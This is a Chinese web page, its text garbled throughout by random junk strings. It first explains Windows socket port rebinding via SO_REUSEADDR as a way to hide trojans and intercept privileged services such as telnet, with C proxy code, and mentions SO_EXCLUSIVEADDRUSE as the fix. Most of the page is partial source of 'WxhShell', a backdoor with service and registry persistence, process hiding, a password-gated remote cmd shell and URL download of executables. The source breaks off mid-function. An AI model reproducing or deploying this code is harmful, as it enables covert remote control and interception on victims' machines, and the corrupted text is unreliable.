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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: D{l.WlA. s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AV2q* U/iAP W4U saddr.sin_family = AF_INET; 6=@n
b3D% Uv+pdRXn saddr.sin_addr.s_addr = htonl(INADDR_ANY); %#]T.g
?D\%ZXo bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); =6W:O Zgg 7pL)#c 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 h?ia4t Fb``&-Qm: 这意味着什么?意味着可以进行如下的攻击: ~.@fk}'R .nSupTyG 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Z956S$gS Qrt8O7&(' 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 7K;dVB / P:Hfq 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 MV/~Rmd. DS$ _"'g%i 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 7GIv3Dc
yCkm| 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 b?bYPN+ zgRP!q<9tt 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 I?Zs|A ^6LFho4 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 n5JB'F) -E500F*b #include (jm.vL&5j #include ILO+=xU #include LQh\j|e9 #include n47=eKd70 DWORD WINAPI ClientThread(LPVOID lpParam); v]BQIE?R / int main() JyqFFZ& { jo |q,t WORD wVersionRequested; aW6+Up+G* DWORD ret; b #^aM WSADATA wsaData; 1`}fbX;"m) BOOL val; EU@mrm? SOCKADDR_IN saddr; <zf+Ii1:, SOCKADDR_IN scaddr; Gzir>'d2'V int err; bMUIe\/v[ SOCKET s; vV[dJ% SOCKET sc; $HXB !$d int caddsize; 0%qUTGj HANDLE mt; (En\odbvt DWORD tid; ~r!5d@f.6 wVersionRequested = MAKEWORD( 2, 2 ); -+9x 0-P err = WSAStartup( wVersionRequested, &wsaData ); wrO>#`Z if ( err != 0 ) { a?Y1G3U' printf("error!WSAStartup failed!\n"); i]53A0l return -1; _$'Mx'IC= } ^kl9U+ saddr.sin_family = AF_INET; x<Zhj3 9kF#* //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 eb/V}% fD~!t 8J saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 38m%ifh) saddr.sin_port = htons(23); K8UAz" if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7XDV=PQ[ { Gtg)%` printf("error!socket failed!\n"); Ky yG8;G% return -1; ,Mhe:^3 } gZjOlp val = TRUE; 9_Re,h //SO_REUSEADDR选项就是可以实现端口重绑定的 "pZ3 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) g&"(- : { |x6mkSf]ke printf("error!setsockopt failed!\n"); 8Wj=|Ow-q return -1; NVjJ/ } }m9LyT=~$ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Ke ?uE //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 VRX"
@uCD //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 bS<@Rd{g Jrk^J6aa if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) qp W#!Vbx { 2ZO'X9 ret=GetLastError(); j>o +}p?3I printf("error!bind failed!\n"); bJ|?5 return -1; =GQ^uVf1 } y^AA#kk listen(s,2); N4To#Q1w while(1) ys/mv'#> { B\_u${C caddsize = sizeof(scaddr); ~& 5&s //接受连接请求 \u]CD}/ sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); lkfFAwnc if(sc!=INVALID_SOCKET) A(n=kx { :6u3Mj{ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); e9W7ke E* if(mt==NULL) `
(D4gPW { '%EZoc/U printf("Thread Creat Failed!\n"); d# 3tQ*G/ break; LO]6Xd" } ]|N4 #4 } QklNw6, CloseHandle(mt); f%{Tu` } Z)
Xs;7 closesocket(s); M_1Tx WSACleanup(); , Ln
return 0; u-[t~-(a } QWHy=(! DWORD WINAPI ClientThread(LPVOID lpParam) ,GX~s5S8 { @E}X-r.^f SOCKET ss = (SOCKET)lpParam; AD@PNM SOCKET sc; u7"VeTz unsigned char buf[4096]; Tj=dL SOCKADDR_IN saddr; mY`]33??v long num; HqdJdWl#" DWORD val; wz+5
8( DWORD ret; d_C4B //如果是隐藏端口应用的话,可以在此处加一些判断 +V9B //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 ^
6.lb\ saddr.sin_family = AF_INET; dPx<Dz; saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ~B!O~nvdQ saddr.sin_port = htons(23); z9 w&uZzi if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ~u0xXfv# { A,gx5!J printf("error!socket failed!\n"); .NkAD-k` return -1; cH;TnuX } D4q>R; val = 100; qijcS2E6S if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) bW9"0=j[{ { tQ~<i %; ret = GetLastError(); ~g1, !Wl return -1; X
B*}P } 5w3 ZUmjO if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ^$IZLM?E~ { 14D7U/zer ret = GetLastError(); irsfJUr[V return -1; y|.fR>5 } rAx"~l.= if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Wu!t C { s^>lOQ= printf("error!socket connect failed!\n"); N\q)LM !M closesocket(sc); h/Hl?O8[ closesocket(ss); D;zWksq return -1; 5!AV!A_Jp } f>r3$WKj while(1) rer|k<k;]G { voV:H[RD9 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 \V^*44+
<! //如果是嗅探内容的话,可以再此处进行内容分析和记录 jJVT_8J //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 &$c5~9p\B num = recv(ss,buf,4096,0); i<m$#6<Z if(num>0) +~d1;0l| send(sc,buf,num,0); |qlS6Aln else if(num==0) x=5P+_ break; e8WEz
4r_ num = recv(sc,buf,4096,0); L}W1*L$;< if(num>0) ku9@&W+ send(ss,buf,num,0); wn+j39y?ZY else if(num==0)
j/9WOIfa break; t'R':+0Vf } t<sNc8x closesocket(ss);
3@)obb closesocket(sc); :)p)=c8% return 0 ; JoCA{Fa} } -|}%~0)/bH 0/\PZX+ yW\XNX ========================================================== {/d4PI7)tK {7?9jEj 下边附上一个代码,,WXhSHELL !:"-:O}>=, SY,I>-% ========================================================== yI8m%g% xQJIM. #include "stdafx.h" VLsh=v dL_QX,X-] #include <stdio.h> [?chK^8 #include <string.h> =4tO0 #include <windows.h> c^=R8y-N #include <winsock2.h> ~uI**{ #include <winsvc.h> {'h_'Y`bOQ #include <urlmon.h> yGiP[d|tRc W]]q=c%2 #pragma comment (lib, "Ws2_32.lib") g5#CN:%f #pragma comment (lib, "urlmon.lib") $n= O 84=-Lw #define MAX_USER 100 // 最大客户端连接数 QsF4Dl #define BUF_SOCK 200 // sock buffer dhHEE|vrz #define KEY_BUFF 255 // 输入 buffer M8';%=@ G#H9g PY #define REBOOT 0 // 重启 !4R>O6k #define SHUTDOWN 1 // 关机 74K)aA X JY5@I. #define DEF_PORT 5000 // 监听端口 3;*z3;#} H9RGU~q4s[ #define REG_LEN 16 // 注册表键长度 .^i<xY #define SVC_LEN 80 // NT服务名长度 :l+_ja&o z% V* K // 从dll定义API 4\M8BRuE typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); }[ ].\G\G typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); !?nu? typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EeCFII typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); v&fGCD\R H]s4% 9T // wxhshell配置信息 W h| L struct WSCFG { 7*i}km int ws_port; // 监听端口 S%kS#U${| char ws_passstr[REG_LEN]; // 口令 Sx8l<X int ws_autoins; // 安装标记, 1=yes 0=no &p5&=zV} char ws_regname[REG_LEN]; // 注册表键名 {j?7d; 'j char ws_svcname[REG_LEN]; // 服务名 %>Bko,ET char ws_svcdisp[SVC_LEN]; // 服务显示名 AD]e0_E char ws_svcdesc[SVC_LEN]; // 服务描述信息 +?;j&p char ws_passmsg[SVC_LEN]; // 密码输入提示信息 {h#6z>p"u2 int ws_downexe; // 下载执行标记, 1=yes 0=no M% @ char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" F>N+<Z char ws_filenam[SVC_LEN]; // 下载后保存的文件名 p*|ah%F6N R"*R99 }; K;x~&G0= lop uf/U0 // default Wxhshell configuration B{p4G`$i1 struct WSCFG wscfg={DEF_PORT, Fn!SGX~kx$ "xuhuanlingzhe", ibJl;sJ 1, 7JI:=yY!>: "Wxhshell", f=o4I2Y[ "Wxhshell", <Nex8fiJ9 "WxhShell Service", pI>*u ]x "Wrsky Windows CmdShell Service", R:A'&;S "Please Input Your Password: ", I!0JG`& 1, HA!t$[_Ve " http://www.wrsky.com/wxhshell.exe", 0Uw
^FcW "Wxhshell.exe" xP{-19s1] }; !hCS#' ^agj4$ // 消息定义模块 H`-=?t char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MiJ6 n[iv char *msg_ws_prompt="\n\r? for help\n\r#>"; qD-fw-,: char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; [ ?iqqG. char *msg_ws_ext="\n\rExit."; ^av6HFQ char *msg_ws_end="\n\rQuit."; :a.0hes char *msg_ws_boot="\n\rReboot..."; ?*H9-2W@ char *msg_ws_poff="\n\rShutdown..."; @9 )}cg char *msg_ws_down="\n\rSave to "; ?,07;>& ]#zZWg
zv char *msg_ws_err="\n\rErr!"; ;i\C]* char *msg_ws_ok="\n\rOK!"; F$Q04Qw 5Z{_m;I. char ExeFile[MAX_PATH]; 4T`&Sl int nUser = 0; }c%
pH{HI HANDLE handles[MAX_USER]; +8AvTSgX% int OsIsNt; *Y%Jl
o ~*}$>@f{[X SERVICE_STATUS serviceStatus; WPo:^BD SERVICE_STATUS_HANDLE hServiceStatusHandle; \iru7'S /^:2<y8Ha // 函数声明 Q[PK`*2) int Install(void); -U-P}6^ int Uninstall(void); 5M:D?9E+ int DownloadFile(char *sURL, SOCKET wsh); ES}. xZ#~ int Boot(int flag); #Qh>z%Mn^3 void HideProc(void); dl0FQNz8@B int GetOsVer(void); 0xCz'mJ int Wxhshell(SOCKET wsl); >w.'KR0L void TalkWithClient(void *cs); `T"rG}c int CmdShell(SOCKET sock); ]^K;goQv int StartFromService(void); *HE^1IEl int StartWxhshell(LPSTR lpCmdLine); L8&D(wh/f S~)w\(r VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x<ax9{ VOID WINAPI NTServiceHandler( DWORD fdwControl ); M2@;RZ(| -(#-I$z // 数据结构和表定义 mS%4gx~~_n SERVICE_TABLE_ENTRY DispatchTable[] = ;`(R7X
*3 { MBw-*K'?zB {wscfg.ws_svcname, NTServiceMain}, CPviR<ms_ {NULL, NULL} NTmi 2c }; /L v1$~ dMvp&M\\' // 自我安装 nY_?Jq int Install(void) #@qN8J}R { dE5D3ze char svExeFile[MAX_PATH]; S1bAu
< HKEY key; *Zbuq8> strcpy(svExeFile,ExeFile); mR+Jws' *1A&'T2 // 如果是win9x系统,修改注册表设为自启动 a#0;==# if(!OsIsNt) { 3fr ^ T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { OgCy4_a[f RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); wLJ]&puwm RegCloseKey(key); p&N#_dmlH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { oyx^a9 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E m{aM RegCloseKey(key); WE6\dhJ< return 0; }Ln@R~[ } ~/-eyxLTm } 3[IJhR[ } #0"~G][# else { +(?>-3_z Tu m_aI // 如果是NT以上系统,安装为系统服务 g|%L"-%gJ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); C#Bz>2;# if (schSCManager!=0) |<qs { +dW|^I{H} SC_HANDLE schService = CreateService "y;bsZBd" ( F{m{d?:OA schSCManager, 1||+6bRP wscfg.ws_svcname, z[nS$]u wscfg.ws_svcdisp, 0g=`DSC<( SERVICE_ALL_ACCESS, E167=BD9< SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e3[:D5 SERVICE_AUTO_START, T~xwo
SERVICE_ERROR_NORMAL, q%/uQT? svExeFile, oxz{ ejd{ NULL, kc$)^E7 NULL, +wO#'D NULL, pz|'l:v^ NULL, ~DF:lqwWP NULL TNwKda+ ); p(JlvJjo if (schService!=0) c EnkU] { FjFMR
63 CloseServiceHandle(schService); Di5(9]o2 CloseServiceHandle(schSCManager); [A2`]CE<@ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); (Ddp|a"b strcat(svExeFile,wscfg.ws_svcname); .12aUXo( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { </"4 zD| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $_;e>*+x RegCloseKey(key); 1wj:aD?g return 0; If-_?wZe } T7*wS#z)h } !#yq@2QX CloseServiceHandle(schSCManager); &1|?BZv } O(Jj|Z } "3CJUr:Q (bp9Pj w return 1; D=r)) } Iah[j,]r [bz T&o // 自我卸载 s
+s" MI int Uninstall(void) \nqkA{;B{ { Orn0Zpp<z HKEY key; p#P~Q/; XGrue6ya if(!OsIsNt) { Me5{_n if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *fMpZ+;[m RegDeleteValue(key,wscfg.ws_regname); lSwcL RegCloseKey(key); 9!',b>C6 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wK_]/Q-L RegDeleteValue(key,wscfg.ws_regname); YwEpy(}hJm RegCloseKey(key); J:*-gwv9*m return 0; (N-RIk73/O } [Nm4sI11 } hZXXBp } V9yl4q-bL else { D/y bFk N"tFP9;K SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); @$^bMIj@W if (schSCManager!=0) 9m2, qr| { * |.0Myjo SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); /*FH:T<V if (schService!=0) en S}A*Io { 3f.b\4 U if(DeleteService(schService)!=0) { ?lGG|9J\ CloseServiceHandle(schService); 8I20*# CloseServiceHandle(schSCManager); -H^oXeN return 0; <P[T!gST } u-Ddq~;| CloseServiceHandle(schService); E:sz$\Ht) } K%<j=c CloseServiceHandle(schSCManager); n9w9JXp;! } _
nA p6i } (/!r(#K0,' ZRxZume<f
return 1; 'FlJpA} } 4'j
sDcs oVA?J%EK // 从指定url下载文件 cMyiW$; int DownloadFile(char *sURL, SOCKET wsh) geQ{EwO8n { OaJB=J% HRESULT hr; 0nn okN^ char seps[]= "/"; O ,rwP char *token; H1<>NWm!v7 char *file; bmN q[} char myURL[MAX_PATH]; />¬$> char myFILE[MAX_PATH]; 2"|2a@ 3czeTj strcpy(myURL,sURL); z,qRcO& token=strtok(myURL,seps); gmIqT
f while(token!=NULL) =U8a ?0 { lzw3= H file=token; &PkLp4mQ token=strtok(NULL,seps); }kw/W#)J } L;gO;vO 4S~o-`&W GetCurrentDirectory(MAX_PATH,myFILE); .s#;s'>g strcat(myFILE, "\\"); X;<BzA!H strcat(myFILE, file); \V9Z#> send(wsh,myFILE,strlen(myFILE),0); `cPywn@uGZ send(wsh,"...",3,0); `_b`kzJ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [:xiZ if(hr==S_OK) 91Uj}n% return 0; .sQ=;w/ZA else DI!V^M[~u return 1; c/B'jPt 'V8N } K3\#E/Ox D:Q
21Ch // 系统电源模块 TCT57P#b int Boot(int flag) f;}EhG' { Lh.`C7] HANDLE hToken; RI68%ZoL TOKEN_PRIVILEGES tkp; ]skkoM P2nft2/eu? if(OsIsNt) { `%09xMPu OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9f\/\L LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); hJzxbr
< tkp.PrivilegeCount = 1; odg<q$34 tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; E*# ]** AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 7}*6#KRG if(flag==REBOOT) { 9;?UvOI; if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C>[Uvc return 0; Y?ez9o:/# } *D'$"@w3 else { z,{<Nm7&F if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) :VF<9@t return 0; _ Ro!"YVX } 0%)i<a!_Z } U%h);!< else { }E`dZW*!! if(flag==REBOOT) { \,J/ r! if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
BUwONF return 0; "zIFxDR# } tDr#H!2
3 else { ;Jd3u
- if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) "_2Ng<2 return 0; ",{ibh)g$` } *Z_C4Tj } w,R[C\#J V21njRS return 1; >J u]2++lx } N41 R g@\fZTO // win9x进程隐藏模块 hK<5KZ/4 void HideProc(void) QMEcQV> { 9}z0J !45.puL0 HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~^+0 if ( hKernel != NULL ) si4don { nNXgW pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jNeI2-9c} ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); e L.(p
k^< FreeLibrary(hKernel); fr!Pj(Q1 } w>b-} t f-nz{U return; 1,5E`J } :a:l
j K!,<7[MBg // 获取操作系统版本 J~(Wf%jM~ int GetOsVer(void) hR5_+cuIp { w\}?( uO OSVERSIONINFO winfo; US winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); zXsc1erli GetVersionEx(&winfo); -X+H2G if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) xJ2*LM- return 1; 5{$LsL else jjM{] return 0; fg#x7v4O } %7g:}O$ upvS|KUil // 客户端句柄模块 +/D>|loRC int Wxhshell(SOCKET wsl) s}onsC { R/`q/0T. SOCKET wsh; s}j1"@ struct sockaddr_in client; ud fe DWORD myID; 2YuN~- KgN)JD> while(nUser<MAX_USER) -YD+(c`l { ,7XtH>2s int nSize=sizeof(client); *._|- L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 1N2,mo?2 if(wsh==INVALID_SOCKET) return 1; b|zg< flgRpXt handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bxK(9. if(handles[nUser]==0) Jgu94.;5 closesocket(wsh); ;WL1B else ;6
+}z~ nUser++; Q!,<@b) } S(aZ4{a@ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); }IEbyb )6~1 ^tD return 0; P6,7]6bp } :R):b Jw~( G9G // 关闭 socket ,@z4I0cTi\ void CloseIt(SOCKET wsh) H&b3{yOa { 9;%CHb& closesocket(wsh); ^[Cv26 nUser--; r3rxC& ExitThread(0); qW 1V85FG } B5X sGLV g/UaYCjM // 客户端请求句柄 I|$
RJkD void TalkWithClient(void *cs) 9t@:4O { *]J dHO &/.hx(#d SOCKET wsh=(SOCKET)cs; g/=K. char pwd[SVC_LEN]; 4;`Bj:. char cmd[KEY_BUFF]; Ut]+k+ 4 char chr[1]; hgRVwX int i,j; R6 XuA(5 m"c :"I6 while (nUser < MAX_USER) { mmw^{MK! ^0W(hA if(wscfg.ws_passstr) { Q-rL$%~=' if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); HEqWoV]{d //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CGw--`#\ //ZeroMemory(pwd,KEY_BUFF); q^rl) i=0; Uh.Zi3X6}6 while(i<SVC_LEN) { !~<siy I>h<b_y // 设置超时 _nT{g fd_set FdRead; h!&sNzX struct timeval TimeOut; &Y@#g9G FD_ZERO(&FdRead); VVWM9x FD_SET(wsh,&FdRead); V%HS\<$h TimeOut.tv_sec=8; 0@1:M
TimeOut.tv_usec=0; f7}"lG]q int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); TY;U2.Ud if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); @E`?<|B} r0m)j if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s_jBu pwd =chr[0]; $mco0%$ if(chr[0]==0xd || chr[0]==0xa) { dTEJ=d40 pwd=0; HW=xvA+ break; A,~Hlw } +-068k( i++; |pZo2F!. } ?BCy J }\v^+scD // 如果是非法用户,关闭 socket )&W|QH=AI if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q 882B1H } 0/]_nd ](r
^.k,R send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &yH#s
8^8 send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Zcd7*EBdx <D /a l9 while(1) { [j6~}zu@ /rF8@l ZeroMemory(cmd,KEY_BUFF); .PVLWW .+#Lx;}) // 自动支持客户端 telnet标准 rb_Z5T j=0; +h[e0J|v{ while(j<KEY_BUFF) { f[/.I,9U^ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); R $b,h cmd[j]=chr[0]; GXb47_b^ if(chr[0]==0xa || chr[0]==0xd) { zi!#\s^ cmd[j]=0; xcSR{IZ break; =mrY/:V } 4e%8D`/=M j++; O.:I,D&] } 5}<[[}( [%.18FWI // 下载文件 n! .2aq if(strstr(cmd,"http://")) { ]xq::a{Oy send(wsh,msg_ws_down,strlen(msg_ws_down),0); Tx+ p8J|Yr if(DownloadFile(cmd,wsh)) N^$9;CKP= send(wsh,msg_ws_err,strlen(msg_ws_err),0); HCc` else 8$ DwpJ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \REc8nsLy } }K8Lm-.= else { qyv"Wb6+ D9^7m
j?e switch(cmd[0]) { ]V<"(?,K yisLypM* // 帮助 `C<F+/q case '?': { UvD-C?u' send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); IxP^i{/1? break; A[9NP-~ } A70(W{6a9@ // 安装 F50JJZ case 'i': { G^KC&
if(Install()) "
Z;uu)NE send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;C_ > else S| "TP\o send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); uH]
m]t break; zi_[V@Es/ } +Z$a1Y@ // 卸载 }JGq 1 case 'r': { %Y 2G if(Uninstall()) 0/*X=5 send(wsh,msg_ws_err,strlen(msg_ws_err),0); q06@SD$
else 6>lW5U^yA\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 'F<Sf:?.p break; 5E.vje{U; } U5clQiow // 显示 wxhshell 所在路径 iW-t}}Z>B case 'p': { Y)v% char svExeFile[MAX_PATH]; g6`.qyVfz' strcpy(svExeFile,"\n\r"); p Mh++H]" strcat(svExeFile,ExeFile); )=Y-f?o! send(wsh,svExeFile,strlen(svExeFile),0); _[0I^o break; 5 Af?Yxv } v'$ykZ!Z // 重启 uAQg"j case 'b': { 3m~U(yho send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); (Y>U6 if(Boot(REBOOT)) ) _#T c send(wsh,msg_ws_err,strlen(msg_ws_err),0); r=|vad$ else { eoJFh closesocket(wsh); @NBXyC8,Z ExitThread(0); ~"\P~cg0J } .;j"+Ef break; y
"<JE<X } . *Z#cq0 // 关机 F-i&M1\_ case 'd': { 78gob&p? send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); eNivlJ,K|@ if(Boot(SHUTDOWN)) <%(f9j send(wsh,msg_ws_err,strlen(msg_ws_err),0); i'9eKO else { 7~L|;^( closesocket(wsh); %va[jJ ExitThread(0); sgR
9d } zEAx:6`c break; 4bWfx_0W } }el,^~ // 获取shell &4[<F"W>47 case 's': { 2pw>B%1WP) CmdShell(wsh); jw/wcP closesocket(wsh); J511AoQ{R ExitThread(0); A03I-^0g+
break; PaA6Z": } 1ME|G"$ ; // 退出 5,Qy/t}K case 'x': { p~ mN2x ] send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :0{AP_tvcC CloseIt(wsh); -<_+-t
break; Cnk#Ioz } '\4c "Ho // 离开 n2H&t>N case 'q': { +~@7"
|d send(wsh,msg_ws_end,strlen(msg_ws_end),0); tYF$#Nor#k closesocket(wsh); K T%i,T WSACleanup(); x!Y( Y=i> exit(1); wbo{JQ break; F1zT )wW } 3@%BA(M } pFG]IM7o/u } 6
bYC _3*: y/M_ // 提示信息 e_tZja2s if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iz,]%<_PE } l A 0-?k } ^V_ku@DY |)~Ex 9%ev return; RT1{+:l } [9'|7fdU -Cg`x=G;z // shell模块句柄 LNWqgIq int CmdShell(SOCKET sock) D<lQoO+ { Cln^ 1N0 STARTUPINFO si; <aD'$(N5 ZeroMemory(&si,sizeof(si)); 02;f2;I si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {(8U8f<'=y si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; YWybPD4\( PROCESS_INFORMATION ProcessInfo; >cC Gx char cmdline[]="cmd"; 721{Ga4~S CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); c8H9_6 return 0; 2(@LRl>: } nYmf(DV mrw]yu;2<n // 自身启动模式 8') .ohD int StartFromService(void) };4pZceV { ~5x4?2 typedef struct W9:fKP { $K5ni {M; DWORD ExitStatus; 7[(Lrx.pM DWORD PebBaseAddress; * [iity DWORD AffinityMask; `two|gX0K DWORD BasePriority; IptB.bYc ULONG UniqueProcessId; ^\xCqVk_R ULONG InheritedFromUniqueProcessId; &\CJg'D:m } PROCESS_BASIC_INFORMATION; TsoCW]h [i2A{(x PROCNTQSIP NtQueryInformationProcess; V,99N'o~x ;P0,60 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; yaCd4KP static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; l"2^S6vU >eYU$/80 HANDLE hProcess; U^vUdM" PROCESS_BASIC_INFORMATION pbi; tg4LE?nv V'Sd[* HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); t?pIE cl if(NULL == hInst ) return 0; TyxU6<>4J4 9;;]q?* g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ,(1vEE[9- g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); @]?? +f}# 